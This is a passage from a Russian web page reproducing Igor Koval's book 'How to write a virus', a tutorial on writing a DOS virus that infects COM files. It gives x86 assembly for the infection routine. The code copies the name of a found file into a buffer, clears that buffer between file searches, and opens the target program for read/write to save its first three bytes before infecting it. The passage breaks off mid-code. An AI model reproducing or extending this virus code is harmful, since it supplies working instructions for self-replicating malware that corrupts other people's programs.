"Игорь Коваль. Как написать вирус" - читать интересную книгу автора inc si ;
loop destroy_name ;Цикл 12 раз ... xor si,si ;И запишем в бу- copy_name: mov al,byte ptr cs:[si+9eh] ;фер имя только cmp al,0 ;что найденного ;файла ... je open ;В конце имени в mov byte ptr ds:fn[si],al ;DTA всегда сто- inc si ;ит ноль, его мы jmp copy_name ;и хотим достичь Имя файла в буфере " fn " необходимо стирать вот почему .Например, первым был найден файл COMMAND. COM, и пусть он не подошел вирусу.Тогда вирус по- пытается найти следующий файл.Пусть это будет WIN. COM .Его имя запишется в область " fn ",и она при- мет вид : WINMAND.COM. Такого файла на диске, ско- рее всего,нет;если же попробовать к нему обратить- ся,это вызовет ошибку,и вирус закончит работу.Что- бы этого не случалось, область " fn " после каждо- го файла очищается. При ошибках в выполнении сис- темных функций управление передается на метку зараженной программы и осуществляет переход на ее начало . 1.10 Читаем исходные три байта Итак,вирус нашел COM - программу, которую теперь следует заразить .Но сначала необходимо сохранить первые три байта этой программы ( см. 1.3, п.4 ). Для этого файл нужно сначала открыть, а затем счи- тать его первые три байта, что и реализуют приве- денные ниже программные строки . Напомним,что имя файла хранится в строке " fn " . open: mov ax,3d02h ;Открыть файл ;для чтения и ;записи ... lea dx,fn ;Имя файла ... int 21h ; jnc save_bytes jmp restore_dta ;Файл не откры- ;вается ! save_bytes: ;Считаем три |
|
|